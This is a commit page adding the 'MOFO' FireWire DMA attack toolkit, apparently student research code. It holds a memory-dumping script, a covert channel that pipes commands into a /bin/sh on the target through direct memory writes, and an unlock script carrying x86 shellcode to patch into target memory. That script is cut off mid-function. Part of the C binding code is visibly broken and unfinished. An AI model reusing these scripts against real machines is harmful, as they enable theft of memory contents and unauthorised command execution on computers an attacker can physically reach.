Permalink
Browse files

Added all code to the git

  • Loading branch information...
1 parent 57c422f commit 979e965ea6237aefb6766f94a35c16e24c8f72df @mrbreaker committed Mar 7, 2012
View
5 README
@@ -0,0 +1,5 @@
+MOFO - Metasploit Over FireWire Ownage
+
+Due to our study, we have no time to clean the code and provide full install instructions at this moment. Please don't be annoyed by ugly hacks,we had very strict time constraints for this research. Feel free to message us on github.
+
+Explanation of our work can be found in our paper on the subject "mofo-final.pdf".
View
102 channel-poc/channel.c
@@ -0,0 +1,102 @@
+#include <sys/mman.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdbool.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+
+#pragma pack(1)
+
+#define BUFFER_SIZE 255
+#define PATTERN_SIZE 16
+#define CACHE_SIZE ( 10 * 1024 * 1024 )
+#define SEND_MASTER '^'
+#define SEND_SLAVE '~'
+
+struct msg {
+ char pattern[PATTERN_SIZE];
+ volatile char flags;
+ volatile unsigned char len;
+ char data[BUFFER_SIZE];
+};
+typedef struct msg message;
+
+message* initMessage(){
+ int i;
+ message *p;
+
+ p = mmap(NULL,sizeof(message),PROT_WRITE|PROT_READ,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
+ if(p == (void*)-1)
+ puts("mmap failed");
+
+ memcpy(p->pattern,"81d2ec67g412df64",PATTERN_SIZE);
+
+ for(i=0;i<PATTERN_SIZE;i++)
+ p->pattern[i]-=1;
+
+ p->flags = SEND_SLAVE;
+ return p;
+}
+
+void blockMessage(message *m){
+ while(1)
+ if(m->flags != SEND_SLAVE)
+ return;
+}
+
+int main(int argc,char **argv){
+ int fdstdin[2];
+ int fdstdout[2];
+ int oldstdin;
+ int oldstdout;
+ message* m;
+ m = initMessage();
+ if(pipe(fdstdin))
+ perror("creating pipe failed");
+
+ if(pipe(fdstdout))
+ perror("creating pipe failed");
+
+ fcntl(fdstdin[0],F_SETFL,O_NONBLOCK);
+ fcntl(fdstdin[1],F_SETFL,O_NONBLOCK);
+ fcntl(fdstdout[0],F_SETFL,O_NONBLOCK);
+ fcntl(fdstdout[1],F_SETFL,O_NONBLOCK);
+
+ oldstdin=dup(fileno(stdin));
+ close(fileno(stdin));
+
+ oldstdout=dup(fileno(stdout));
+ close(fileno(stdout));
+
+ dup2(fdstdin[0], fileno(stdin));
+ dup2(fdstdout[1], fileno(stdout));
+
+ if(fork()){
+ //parent
+ dup2(oldstdin, fileno(stdin));
+ dup2(oldstdout, fileno(stdout));
+
+ while(1){
+ int len;
+ blockMessage(m);
+ write(fdstdin[1], m->data, m->len);
+ write(fileno(stdout), m->data, m->len);
+ if ((len = read(fdstdout[0], m->data, BUFFER_SIZE)) == -1)
+ m->len = 0;
+ else
+ m->len = len;
+
+ m->flags = SEND_SLAVE;
+ puts ("###################################");
+ }
+ }else{
+ //child
+ char *args = NULL;
+ dup2(fileno(stdout), fileno(stderr));
+ execvp("/bin/sh",&args);
+ }
+ return 0;
+}
+
View
119 channel-poc/channel.rb
@@ -0,0 +1,119 @@
+#!/usr/bin/env ruby
+require '../forensic1394/bus'
+require 'pp'
+require 'fcntl'
+
+
+def run(context)
+ # first 17 characters of md5sum of awesome with the 9 removed
+ sig = "70c1db56f301ce55"
+ off = 0x00
+
+ # Print phase, method and patch parameters
+ puts ' Using signature: %s' % sig
+ puts ' Using offset: %x' % off
+
+ # Initialize
+ d = initialize_fw(d)
+
+ # Find memory size
+ puts 'Detecting memory size...'
+ memsize = 4 * 1024 * 1024 * 1024
+ puts '%d MiB main memory detected' % (Integer(memsize)/(1024 * 1024))
+
+ # Attack
+ puts 'Starting attack...'
+ begin
+ # Find
+ addr = findsig(d, sig, off, memsize)
+ if !addr
+ settings.success = False
+ else
+ puts '+ Signature found at 0x%x.' % addr
+ while (1)
+ data = ''
+ begin
+ STDIN.flush
+ data = STDIN.read_nonblock(255)
+ rescue
+ data = ''
+ end
+ d.write(addr + 18, data)
+ d.write(addr + 17, sprintf("%c", data.length))
+ d.write(addr + 16, '^')
+ while (d.read(addr + 16, 1) != '~')
+ sleep(1)
+ end
+ len = d.read(addr + 17, 1)
+ data = d.read(addr + 18, len.ord)
+ print data
+ end
+ end
+ rescue IOError => e
+ success = false
+ puts '-', 'I/O Error, make sure FireWire interfaces are properly connected.'
+ puts e.message
+ end
+
+ if !success
+ fail('Failed to dump.')
+ end
+
+
+ if not settings.success
+ fail('Signature not found.')
+ end
+end
+
+def initialize_fw(d)
+ b = Bus.new
+ # Enable SBP-2 support to ensure we get DMA
+ b.enable_sbp2()
+
+ begin
+ for i in 3.downto(1)
+ puts "[+] Initializing bus and enabling SBP2, please wait %2d seconds or press Ctrl+C \r" % i;
+ STDOUT.flush
+ sleep(1)
+ end
+ rescue
+ puts 'Interrupted'
+ end
+
+ # Open the first device
+ d = b.devices
+
+ if (d.length > 0)
+ d = d[0]
+ d.open()
+ puts ''
+ else
+ raise 'nothing connected'
+ end
+
+ return d
+end
+
+def findsig(d, sig, off, memsize)
+ pagesize = 4096
+ one_mb = 1 * 1024 * 1024
+ for addr in (one_mb + off..memsize).step(pagesize)
+ data = d.read(addr, sig.length)
+ if (data == sig)
+ return addr
+ end
+ end
+ print()
+ return
+end
+
+def fail(msg)
+ puts "\n [!] Attack unsuccessful."
+ puts msg
+ exit
+end
+
+if __FILE__ == $0
+ run( ARGV )
+end
+
View
11 channel-poc/spam.c
@@ -0,0 +1,11 @@
+#include <string.h>
+#include <stdlib.h>
+
+int main(int argc,char** argv){
+ char *ptr;
+ char i;
+ for(;;i++){
+ ptr = malloc(16);
+ memset(ptr,i,16);
+ }
+}
View
90 forensic1394/Forensic1394.rb
@@ -0,0 +1,90 @@
+require 'ffi'
+
+module Forensic1394
+ extend FFI::Library
+
+ ffi_lib 'forensic1394'
+
+ # ffi_convention :stdcall
+
+ #attach_function (*forensic1394_device_callback) (forensic1394_bus *bus,forensic1394_dev *dev), :void
+ #forensic1394_bus *forensic1394_alloc(void)
+ attach_function :alloc, :forensic1394_alloc, [ ], :pointer
+
+ #forensic1394_result forensic1394_enable_sbp2(forensic1394_bus *bus)
+ attach_function :enable_sbp2, :forensic1394_enable_sbp2, [:pointer ], :int32
+
+ #forensic1394_dev **forensic1394_get_devices(forensic1394_bus *bus,
+ # int *ndev,
+ # forensic1394_device_callback ondestroy)
+ attach_function :get_devices, :forensic1394_get_devices, [:pointer,:pointer,:pointer], :pointer
+
+ #void forensic1394_destroy(forensic1394_bus *bus)
+ attach_function :destroy, :forensic1394_destroy, [:pointer ], :void
+
+ #forensic1394_result forensic1394_open_device(forensic1394_dev *dev)
+ attach_function :open_device, :forensic1394_open_device, [:pointer ], :int32
+
+ #void forensic1394_close_device(forensic1394_dev *dev)
+ attach_function :close_device, :forensic1394_close_device, [:pointer ], :void
+
+ #int forensic1394_is_device_open(forensic1394_dev *dev)
+ attach_function :is_device_open, :forensic1394_is_device_open, [:pointer ], :int32
+
+ #forensic1394_result forensic1394_read_device(forensic1394_dev *dev,
+ # uint64_t addr,
+ # size_t len, void *buf)
+ attach_function :read_device, :forensic1394_read_device, [:pointer,:long_long, :uint32, :pointer ], :int32
+
+ #forensic1394_result forensic1394_read_device_v(forensic1394_dev *dev,
+ # forensic1394_req *req,
+ # size_t nreq)
+ attach_function :read_device_v, :forensic1394_read_device_v, [:pointer,:pointer, :uint32 ], :int32
+
+ #forensic1394_result forensic1394_write_device(forensic1394_dev *dev,
+ # uint64_t addr,
+ # size_t len, void *buf)
+ attach_function :write_device, :forensic1394_write_device, [:pointer,:long_long,:uint32, :pointer], :int32
+
+ #forensic1394_result forensic1394_write_device_v(forensic1394_dev *dev,
+ # forensic1394_req *req,
+ # size_t nreq)
+ attach_function :write_device_v, :forensic1394_write_device_v, [:pointer,:pointer,:uint32], :int32
+
+ #void forensic1394_get_device_csr(forensic1394_dev *dev, uint32_t *rom)
+ attach_function :get_device_csr, :forensic1394_get_device_csr, [:pointer, :pointer ], :void
+
+ #uint16_t forensic1394_get_device_node_id(forensic1394_dev *dev)
+ attach_function :get_device_node_id, :forensic1394_get_device_node_id, [:pointer ], :uint16
+
+ #int64_t forensic1394_get_device_guid(forensic1394_dev *dev)
+ attach_function :get_device_guid, :forensic1394_get_device_guid, [:pointer ], :int64
+
+ #const char *forensic1394_get_result_str(forensic1394_result r);
+ attach_function :get_result_str, :forensic1394_get_result_str, [:int32 ], :string
+
+ #const char *forensic1394_get_device_product_name(forensic1394_dev *dev)
+ attach_function :get_device_product_name,:forensic1394_get_device_product_name, [:pointer ], :string
+
+ #const char *forensic1394_get_device_product_id(forensic1394_dev *dev)
+ attach_function :get_device_product_id,:forensic1394_get_device_product_id, [:pointer ], :int32
+
+ #const char *forensic1394_get_device_vendor_name(ferensic1394_dev *dev)
+ attach_function :get_device_vendor_name,:forensic1394_get_device_vendor_name, [:pointer ], :string
+
+ #int forensic1394_get_device_vendor_id(forensic1394_dev *dev)
+ attach_function :get_device_vendor_id, :forensic1394_get_device_vendor_id, [:pointer ], :int32
+
+ #int forensic1394_get_device_request_size(forensic1394_dev *dev);
+ attach_function :get_device_request_size,:forensic1394_get_device_request_size, [:pointer ], :int32
+
+ attach_function :fu, :fu, [:pointer ], :pointer
+
+
+ #struct { uint64_t addr, size_t len, void *buf }
+ class Req < FFI::Struct
+ layout :addr, :uint64,
+ :len, :uint32,
+ :buf, :pointer
+ end
+end
View
62 forensic1394/bus.rb
@@ -0,0 +1,62 @@
+$LOAD_PATH.unshift(File.dirname(__FILE__))
+require 'ffi'
+require 'Forensic1394'
+require 'errors'
+require 'device'
+require 'weakref'
+
+class Bus
+ def initialize
+ # Allocate a new bus handle; _as_parameter_ allows passing of self
+ @as_parameter = Forensic1394.alloc()
+
+ # Weak references to the most recent device list
+ @wrefdev = []
+ end
+
+ def enable_sbp2
+ # Re-raise for a cleaner stack trace
+ process_result(Forensic1394.enable_sbp2(@as_parameter), 'Forensic1394.enable_sbp2')
+ end
+
+ def devices
+ # Mark any active device handles as being stale
+ for wdev in @wrefdev
+ if wdev.to_s
+ wdev.to_s.setStale(true)
+ end
+ end
+
+ # Clear the current list of weak references
+ @wrefdev = []
+ dev = []
+ ndev = FFI::Buffer.new :int
+
+ # Query the list of devices attached to the system
+ devlist = Forensic1394.get_devices(@as_parameter, ndev, nil)
+ p = FFI::Pointer.new(devlist)
+
+ devlist = p.read_array_of_pointer(ndev.get_int(0))
+
+
+ # If ndev is < 0 then it contains a result status code
+ if ndev.get_int(0) < 0
+ process_result(ndev.get_int(0), "Forensic1394.get_devices")
+ end
+
+ # Create Device instances for the devices found
+ for i in (0..ndev.get_int(0) - 1)
+ d = Device.new(self, devlist[i])
+ dev << d
+ # Maintain a weak reference to this device
+ @wrefdev << WeakRef.new(d)
+ end
+
+ # Return the device list
+ return dev
+ end
+
+ def delete
+ Forensic1394.destroy(@as_parameter)
+ end
+end
View
283 forensic1394/device.rb
@@ -0,0 +1,283 @@
+# -*- coding: utf-8 -*-
+#############################################################################
+# This file is part of libforensic1394. #
+# Copyright.new(C) 2010 Freddie Witherden <freddie@witherden.org> #
+# #
+# libforensic1394 is free software: you can redistribute it and/or modify #
+# it under the terms of the GNU Lesser General Public License as #
+# published by the Free Software Foundation, either version 3 of the #
+# License, or(at your option) any later version. #
+# #
+# libforensic1394 is distributed in the hope that it will be useful, #
+# but WITHOUT ANY WARRANTY; without even the implied warranty of #
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #
+# GNU Lesser General Public License for more details. #
+# #
+# You should have received a copy of the GNU Lesser General Public #
+# License along with libforensic1394. If not, see #
+# <http://www.gnu.org/licenses/>. #
+#############################################################################
+$LOAD_PATH.unshift(File.dirname(__FILE__))
+require 'errors'
+require 'Forensic1394'
+require 'ffi'
+require 'pp'
+class Device
+ ##
+ # Constructs a new Device instance. This should not usually be called
+ # directly; instead a list of pre-constructed Device instances should be
+ # requested from the bus.
+
+ def initialize (bus, devptr)
+ # Retain a reference to the Bus.new(otherwise unused)
+ @bus = bus
+
+ # Used to point to the device object
+ @devptr = devptr
+
+ # We are not stale
+ @stale = false
+
+ # Copy over the device properties
+ @node_id = Forensic1394.get_device_node_id(@devptr)
+ @guid = Forensic1394.get_device_guid(@devptr)
+
+ @product_name = Forensic1394.get_device_product_name(@devptr)
+ @product_id = Forensic1394.get_device_product_id(@devptr)
+
+ @vendor_name = Forensic1394.get_device_vendor_name(@devptr)
+ @vendor_id = Forensic1394.get_device_vendor_id(@devptr)
+ @request_size = Forensic1394.get_device_request_size(@devptr)
+
+ @csr = FFI::Buffer.new(4, 256, true)
+ Forensic1394.get_device_csr(@devptr, @csr)
+ end
+
+ def checkStale
+ if @stale
+ raise Forensic1394StaleHandle
+ end
+ end
+
+ def setStale(stale)
+ @stale = stale
+ end
+
+ ##
+ # Attempts to open the device. If the device can not be opened, or if the
+ # device is stale, an exception raised.
+
+ def open
+ checkStale
+ process_result(Forensic1394.open_device(@devptr), 'Forensic1394.open_device')
+ end
+
+ ##
+ # Closes the device. If the device is stale this is a no-op
+
+ def close
+ if not @stale
+ Forensic1394.close_device(@devptr)
+ end
+ end
+
+ ##
+ # Checks to see if the device is open or not, returning a boolean value.
+ # In the case of a stale handle false is returned.
+
+ def isopen
+ if @stale
+ return false
+ else
+ return Forensic1394.is_device_open(@devptr)
+ end
+ end
+
+ ##
+ # Attempts to read numb bytes from the device starting at addr.
+ # The device must be open and the handle can not be stale.
+ # Requests larger than @request_size will automatically be
+ # broken down into smaller chunks. The resulting data is
+ # returned. An exception is raised should an error occur. The
+ # optional buf parameter can be used to pass a specific ctypes
+ # c_char array to read into. If no buffer is passed then
+ # create_string_buffer will be used to allocate one.
+
+ def read (addr, numb, buf=nil)
+ if buf == nil
+ # No buffer passed; allocate one
+ buf = FFI::Buffer.new(1, numb, true)
+ else
+ raise "IMPLEMENT ME"
+ end
+
+ # Break the request up into rs size chunks; if numb % rs = 0 then
+ # lens may have an extra element; zip will take care of this
+ rs = @request_size
+ addrs = (addr..addr + numb).step(rs)
+ lens = [rs] * (Integer(numb) / Integer(rs)) + [numb % rs]
+ readreq(addrs.zip(lens), buf)
+ return buf.get_bytes(0,numb)
+ end
+
+ ##
+ # Performs a batch of read requests of the form: [(addr1, len1),
+ # (addr2, len2), ...] and returns a generator yielding, in
+ # sequence, (addr1, buf1), (addr2, buf2), ..., . This is useful
+ # when performing a series of `scatter reads' from a device.
+
+ def readv (req)
+ checkStale()
+ # Create the request buffer
+ sum = 0
+ for addr, numb in req
+ sum += numb
+ end
+ buf = FFI::Buffer.new(1, sum, true)
+
+ # Use readreq to read the requests into buf
+ readreq(req, buf)
+
+ # Generate the resulting buffers
+ off = 0
+ answers = []
+ for addr, numb in req
+ answers << [[addr, buf.get_pointer(off)]]
+ off += numb
+ end
+
+ return answers
+ end
+
+ ##
+ # Attempts to write buf.length bytes to the device starting at addr. The
+ # device must be open and the handle can not be stale. Requests larger
+ # than @request_size will automatically be broken down into smaller
+ # chunks. Uses writev internally.
+
+ def write (addr, buf)
+ checkStale
+ # Break up the request
+ req = []
+ (0..buf.size).step(@request_size) do |off|
+ if (buf.size - off < @request_size)
+ req << [addr + off, buf.slice(off, buf.size % @request_size)]
+ end
+ req << [addr + off, buf.slice(off, @request_size)]
+ end
+
+ # Dispatch
+ writev(req)
+ end
+
+ def writev (req)
+ checkStale()
+ if isopen() == 0
+ raise "Forensic1394Exception", "not open"
+ end
+
+ # Prepare the request array(addr, len, buf)
+ for addr, buf in req
+ creq = Forensic1394::Req.new()
+ b = FFI::Buffer.new(1, buf.size, true)
+ b.put_bytes(0, buf.to_s)
+ creq[:addr]=addr
+ creq[:len]=buf.size
+ creq[:buf]= Forensic1394::fu(b)
+ process_result(Forensic1394.write_device_v(@devptr, creq, 1), 'Forensic1394.write_device')
+ end
+ end
+
+ ##
+ # The node ID of the device on the bus.
+
+ def node_id
+ return @node_id
+ end
+
+ ##
+ # The 48-bit GUID of the device.
+
+ def guid
+ return @guid
+ end
+
+ ##
+ # The product name of the device; may be ''.
+
+ def product_name
+ return @product_name
+ end
+
+ ##
+ # The product id of the device; integer.
+
+ def product_id
+ return @product_id
+ end
+
+ ##
+ # The vendor name of the device; may be ''.
+
+ def vendor_name
+ return @vendor_name
+ end
+
+ ##
+ # The vendor id of the device; integer.
+
+ def vendor_id
+ return @vendor_id
+ end
+
+ ##
+ # The maximum request size supported by the device in bytes; this is
+ # always a power of two.
+
+ def request_size
+ return @request_size
+ end
+
+ ##
+ # Configuration status ROM for the device, list of 32-bit host-endian
+ # integers.
+
+ def csr
+ return @csr
+ end
+
+ private
+
+ ##
+ # Internal low level read function.
+
+ def readreq (req, buf)
+ if isopen() == 0
+ raise Forensic1394Exception, "not open"
+ end
+
+ # Get a pointer directly into the buffer which we can perform
+ # arithmetic on. Compared to cast(byref(buf, off), c_void_p)
+ # directly accessing the pointer gives a ~10% performance
+ # improvement for scatter requests.
+
+ # Create the request tuples
+ off = 0
+
+ for addr, numb in req
+ mp = FFI::MemoryPointer.new('a'*numb)
+ creq = Forensic1394::Req.new
+ creq[:addr] = addr
+ creq[:len]=numb
+ # TODO: Fix ugly fix
+ # Reason: Ugly fix == ugly
+ creq[:buf]= Forensic1394::fu(buf.slice(off, numb))
+
+ # Dispatch the requests
+ status = Forensic1394.read_device_v(@devptr, creq, 1)
+
+ process_result(status, "Forensic1394.read_device_v")
+ off += numb
+ end
+ end
+end
View
91 forensic1394/dump.rb
@@ -0,0 +1,91 @@
+#!/usr/bin/ruby
+require './bus'
+require 'pp'
+
+def run(args)
+
+ # Initialize
+ @d = initialize_fw(@d)
+
+ # Find memory size
+ puts 'Detecting memory size...'
+ memsize = 4 * 1024 * 1024 * 1024
+ if not memsize
+ fail('Could not determine memory size. Try increasing the delay after enabling SBP2 (-d switch)')
+ else
+ puts '%d MiB main memory detected' % (Integer(memsize)/(1024 * 1024))
+ end
+
+ # Attack
+ puts 'Starting attack...'
+
+ success = true
+
+ begin
+ loop_memory(@d, memsize)
+ rescue IOError => e
+ success = false
+ puts '-', 'I/O Error, make sure FireWire interfaces are properly connected.'
+ puts e.message
+ end
+
+ if !success
+ fail('Failed to dump.')
+ end
+end
+
+def initialize_fw(d)
+ @b = Bus.new
+ # Enable SBP-2 support to ensure we get DMA
+ @b.enable_sbp2()
+
+ begin
+ for i in 3.downto(1)
+ puts "[+] Initializing bus and enabling SBP2, please wait %2d seconds or press Ctrl+C \r" % i;
+ STDOUT.flush
+ sleep(1)
+ end
+ rescue
+ puts 'Interrupted'
+ end
+
+ # Open the first device
+ d = @b.devices
+
+ if (d.length > 0)
+ d = d[0]
+ d.open()
+ puts ''
+ else
+ raise 'nothing connected'
+ end
+
+ return d
+end
+
+def loop_memory(d, memsize)
+ f = File.open('memdump','w')
+ # Skip the first 1 MiB of memory
+ startmem = 1 * 1024 * 1024
+ endmem = 4 * 1024 * 1024 * 1024
+
+ chunk = 1024
+
+ for addr in (startmem..endmem).step(chunk)
+ cdata = d.read(addr, chunk)
+ f.syswrite(cdata)
+ # print "Data found %s at %d \r" % [cdata.unpack('C*').map{ |b| "%02X" % b }.join(), addr]
+ STDOUT.flush
+ end
+end
+
+def fail(msg)
+ puts "\n [!] Attack unsuccessful."
+ puts msg
+ exit
+end
+
+if __FILE__ == $0
+ run( ARGV )
+end
+
View
68 forensic1394/errors.rb
@@ -0,0 +1,68 @@
+# -*- coding: utf-8 -*-
+#############################################################################
+# This file is part of libforensic1394. #
+# Copyright (C) 2010 Freddie Witherden <freddie@witherden.org> #
+# #
+# libforensic1394 is free software: you can redistribute it and/or modify #
+# it under the terms of the GNU Lesser General Public License as #
+# published by the Free Software Foundation, either version 3 of the #
+# License, or (at your option) any later version. #
+# #
+# libforensic1394 is distributed in the hope that it will be useful, #
+# but WITHOUT ANY WARRANTY; without even the implied warranty of #
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #
+# GNU Lesser General Public License for more details. #
+# #
+# You should have received a copy of the GNU Lesser General Public #
+# License along with libforensic1394. If not, see #
+# <http://www.gnu.org/licenses/>. #
+#############################################################################
+
+
+##
+# Possible result codes from a forensic1394 function call. These are
+# extracted from the forensic1394.h file.
+
+class ResultCode
+ SUCCESS = 0
+ OTHERERROR = -1
+ BUSRESET = -2
+ NOPERM = -3
+ BUSY = -4
+ IOERROR = -5
+ IOSIZE = -6
+ IOTIMEOUT = -7
+end
+
+class Forensic1394Exception < Exception
+end
+
+class Forensic1394ImportError < LoadError
+end
+
+class Forensic1394BusReset < IOError
+end
+
+class Forensic1394StaleHandle < IOError
+end
+
+def process_result(result, fname)
+ # Call was successful
+ if result == ResultCode::SUCCESS
+ return
+ end
+
+ # Perform a local import to avoid cyclic dependencies
+ # require 'functions'
+
+ # Maybe decode?
+ err = fname + ": " + Forensic1394.get_result_str(result)
+
+ # Decide which exception to throw
+ if result == ResultCode::BUSRESET
+ raise Forensic1394BusReset, err
+ else
+ raise IOError, err
+ end
+end
+
View
186 forensic1394/functions.c
@@ -0,0 +1,186 @@
+#include "ruby.h"
+#include "forensic1394.h"
+#include "common.h"
+
+static VALUE f_init(VALUE self)
+{
+ VALUE arr;
+
+
+ arr = rb_ary_new();
+ rb_iv_set(self, "@arr", arr);
+ return self;
+}
+
+
+static forensic1394_bus* getBus(VALUE bus){
+ forensic1394_bus* r;
+ Data_Get_Struct(bus,forensic1394_bus,r);
+ return r;
+}
+//THIS IS THE AUTOMATIC DESTRUCTOR ? NOTE THIS IS NOT A DIRECT WRAP
+static void c_forensic1394_destroy(forensic1394_bus *bus){
+ forensic1394_destroy(bus);
+ free(bus);
+}
+
+static forensic1394_dev* getDev(VALUE dev){
+ forensic1394_dev* r;
+ Data_Get_Struct(dev,forensic1394_dev,r);
+ return r;
+}
+
+static forensic1394_req* getReq(VALUE req){
+ forensic1394_req* r;
+ Data_Get_Struct(req,forensic1394_req,r);
+ return r;
+}
+
+//TODO: Wrap the forensic1394_req structure
+// C def: struct { uint64_t addr, size_t len, void *buf }
+VALUE c_forensic1394_req;
+
+// C def: forensic1394_bus *forensic1394_alloc(void)
+static VALUE c_forensic1394_alloc(VALUE self){
+ refturn Qnil;
+}
+
+//g C def: forensic1394_result forensic1394_enable_sbp2(forensic1394_bus *bus)
+//TODO:check function ordering
+static VALUE c_forensic1394_enable_sbp2(VALUE self,VALUE rb_bus){
+ return INT2FIX(forensic1394_enable_sbp2( getBus(rb_bus) ));
+}
+
+//g C def: forensic1394_dev **forensic1394_get_devices(forensic1394_bus *bus,
+//g int *ndev,
+//g
+// forensic1394_device_callback ondestroy)
+static VALUE c_forensic1394_get_devices(VALUE bus,VALUE ndev,VALUE ondestroy){
+ //TODO: write this
+ //rb_dev = Data_Make_Struct(rb_bus,forensic1394_bus,NULL,c_forensic1394_destroy,bus);
+}
+
+//g C def: void forensic1394_close_device(forensic1394_dev *dev)
+static void c_forensic1394_close_device(forensic1394_dev *dev){
+ forensic1394_close_devic(dev);
+ free(dev);
+}
+
+
+//g C def: forensic1394_result forensic1394_open_device(forensic1394_dev *dev)
+static VALUE c_forensic1394_open_device(VALUE dev){
+ forensic1394_open_device(getDev(dev));
+ return Qnil;
+}
+
+//g C def: int forensic1394_device_is_open(forensic1394_dev *dev)
+static VALUE c_forensic1394_device_is_open(VALUE dev){
+ //TODO: unwrap
+ return INT2FIX( forensic1394_device_is_open(dev) );
+}
+
+//g C def: forensic1394_result forensic1394_read_device(forensic1394_dev *dev,
+//g uint64_t addr,
+//g size_t len, void *buf)
+static VALUE c_forensic1394_read_device(VALUE dev,VALUE addr,VALUE len,VALUE rb_buf){
+ //unwrap dev
+ char* buf = malloc(1024);//SRSLY TODO: change buf
+ return INT2FIX( forensic1394_read_device(getDev(dev),NUM2LONG(addr),NUM2LONG(len),buf) );
+ //TODO: write this
+}
+
+//g C def: forensic1394_result forensic1394_read_device_v(forensic1394_dev *dev,
+//g forensic1394_req *req,
+//g size_t nreq)
+static VALUE c_forensic1394_read_device_v(VALUE dev,VALUE req,VALUE nreq){
+ return INT2FIX(forensic1394_read_device_v(getDev(dev),getReq(req),NUM2LONG(nreq)) );
+}
+
+//g C def: forensic1394_result forensic1394_write_device(forensic1394_dev *dev,
+//g uint64_t addr,
+//g size_t len, void *buf)
+static VALUE c_forensic1394_write_device(VALUE dev,VALUE addr,VALUE len,VALUE rb_buf){
+ char *buf;//TODO: write this
+ return INT2FIX(forensic1394_write_device(getDev(dev),NUM2LONG(addr),NUM2LONG(len),buf));
+}
+
+//g C def: forensic1394_result forensic1394_write_device_v(forensic1394_dev *dev,
+//g forensic1394_req *req,
+//g size_t nreq)
+static VALUE c_forensic1394_write_device_v(VALUE dev,VALUE req,VALUE nreq){
+ return INT2FIX(forensic1394_write_device_v(getDev(dev),getReq(req),NUM2LONG(nreq)));
+}
+
+//g C def: void forensic1394_get_device_csr(forensic1394_dev *dev, uint32_t *rom)
+static VALUE c_forensic1394_get_device_csr(VALUE dev, VALUE rom){
+ //TODO: write this
+ forensic1394_get_device_csr(getDev(dev),rom);
+ return Qnil;
+}
+
+//g C def: uint16_t forensic1394_get_device_node_id(forensic1394_dev *dev)
+static VALUE c_forensic1394_get_device_node_id(VALUE dev){
+ //TODO: write this
+ return INT2FIX( forensic1394_get_device_node_id(dev));
+}
+
+//g C def: int64_t forensic1394_get_device_guid(forensic1394_dev *dev)
+static VALUE c_forensic1394_get_device_guid(VALUE dev){
+ //TODO: write this
+ return INT2FIX(forensic1394_get_device_guid(dev));
+}
+
+//g C def: const char *forensic1394_get_device_product_name(forensic1394_dev *dev)
+static VALUE c_forensic1394_get_device_product_name(VALUE dev){
+ //TODO: write this
+ return rb_str(forensic1394_get_device_product_name(dev));
+}
+
+//g C def: const char *forensic1394_get_vendor_product_name(forensic1394_dev *dev)
+static VALUE c_forensic1394_get_vendor_product_name(VALUE dev){
+ //TODO: write this
+ return rb_str(forensic1394_get_vendor_product_name(dev));
+}
+
+//g C def: const char* forensic1394_get_device_vendor_name(forensic1394_dev *dev)
+static VALUE c_forensic1394_get_device_vendor_name(VALUE dev){
+ //TODO: write this
+ return rb_str(forensic1394_get_device_vendor_name(dev));
+}
+
+//g C def: int forensic1394_get_device_request_size(forensic1394_dev *dev);
+static VALUE c_forensic1394_get_device_request_size(VALUE dev){
+ //TODO: write this
+ return INT2FIX(forensic1394_get_device_request_size(dev));
+}
+
+//g C def: const char *forensic1394_get_result_str(forensic1394_result r);
+static VALUE c_forensic1394_get_result_str(VALUE r){
+ //TODO: write this
+ return rb_str(forensic1394_get_result_str(NUM2INT(r)));
+}
+
+
+VALUE cForensic;
+
+void Init_Forensic1394() {
+ cForensic = rb_define_module("Forensic1394");
+
+ rb_define_method(cForensic,"forensic1394_enable_sbp2", forensic1394_enable_sbp2, 2);
+ rb_define_method(cForensic,"forensic1394_alloc", c_forensic1394_alloc,1);
+ rb_define_method(cForensic,"forensic1394_get_devices", c_forensic1394_get_devices,3);
+ rb_define_method(cForensic,"forensic1394_open_device", c_forensic1394_open_device,1);
+ rb_define_method(cForensic,"forensic1394_device_is_open", c_forensic1394_device_is_open,1);
+ rb_define_method(cForensic,"forensic1394_read_device", c_forensic1394_read_device,4);
+ rb_define_method(cForensic,"forensic1394_read_device", c_forensic1394_read_device_v,3);
+ rb_define_method(cForensic,"forensic1394_write_device", c_forensic1394_write_device,4);
+ rb_define_method(cForensic,"forensic1394_write_device_v", c_forensic1394_write_device_v,3);
+ rb_define_method(cForensic,"forensic1394_get_device_node_id", c_forensic1394_get_device_node_id,1);
+ rb_define_method(cForensic,"forensic1394_get_device_guid", c_forensic1394_get_device_guid,2);
+ rb_define_method(cForensic,"forensic1394_get_device_product_name", c_forensic1394_get_device_product_name,1);
+ rb_define_method(cForensic,"forensic1394_get_vendor_product_name", c_forensic1394_get_vendor_product_name,1);
+ rb_define_method(cForensic,"forensic1394_get_device_vendor_name", c_forensic1394_get_device_vendor_name,1);
+ rb_define_method(cForensic,"forensic1394_get_device_request_size", c_forensic1394_get_device_request_size,1);
+ rb_define_method(cForensic,"forensic1394_get_result_str", c_forensic1394_get_result_str,1);
+}
+
View
208 forensic1394/unlock.rb
@@ -0,0 +1,208 @@
+#!/usr/bin/env ruby
+require './bus'
+require 'pp'
+
+class Patch
+ ##
+ # Constructor
+
+ def initialize(sig, patch, offset)
+ @sig = sig
+ @patch = patch
+ @offset = offset
+ end
+
+ def set_sig(sig)
+ @sig = value
+ end
+
+ def get_sig
+ return @sig
+ end
+
+ def set_patch(patch)
+ @patch = patch
+ end
+
+ def get_patch
+ return @patch
+ end
+
+ def set_offset(offset)
+ @offset = offset
+ end
+
+ def get_offset
+ return @offset
+ end
+end
+
+def hex2bin(s)
+ raise "Not a valid hex string" unless(s =~ /^[\da-fA-F]+$/)
+ s = '0' + s if((s.length & 1) != 0)
+ return s.scan(/../).map{ |b| b.to_i(16) }.pack('C*')
+end
+
+def bin2hex(s)
+ return s.unpack('C*').map{ |b| "%02X" % b }.join('')
+end
+
+def run(context)
+ sig = hex2bin("8B430C8B501C895424048B40")
+ patch = hex2bin("6a0b58995266682d6389e7682f736800682f62696e89e352e80b000000746f756368202f70776e00575389e1cd80909090909090909090909090909090909090")
+ off = 0x4f2
+
+ # Print phase, method and patch parameters
+ puts ' Using signature: %x' % bin2hex(sig)
+ puts ' Using patch: %x' % patch
+ puts ' Using offset: %x' % off
+
+ # Initialize
+ d = initialize_fw(d)
+
+ # Find memory size
+ puts 'Detecting memory size...'
+ memsize = 4 * 1024 * 1024 * 1024
+ puts '%d MiB main memory detected' % (Integer(memsize)/(1024 * 1024))
+
+ # Attack
+ puts 'Starting attack...'
+ begin
+ # Find
+ addr = findsig(d, sig, off, memsize)
+ if !addr
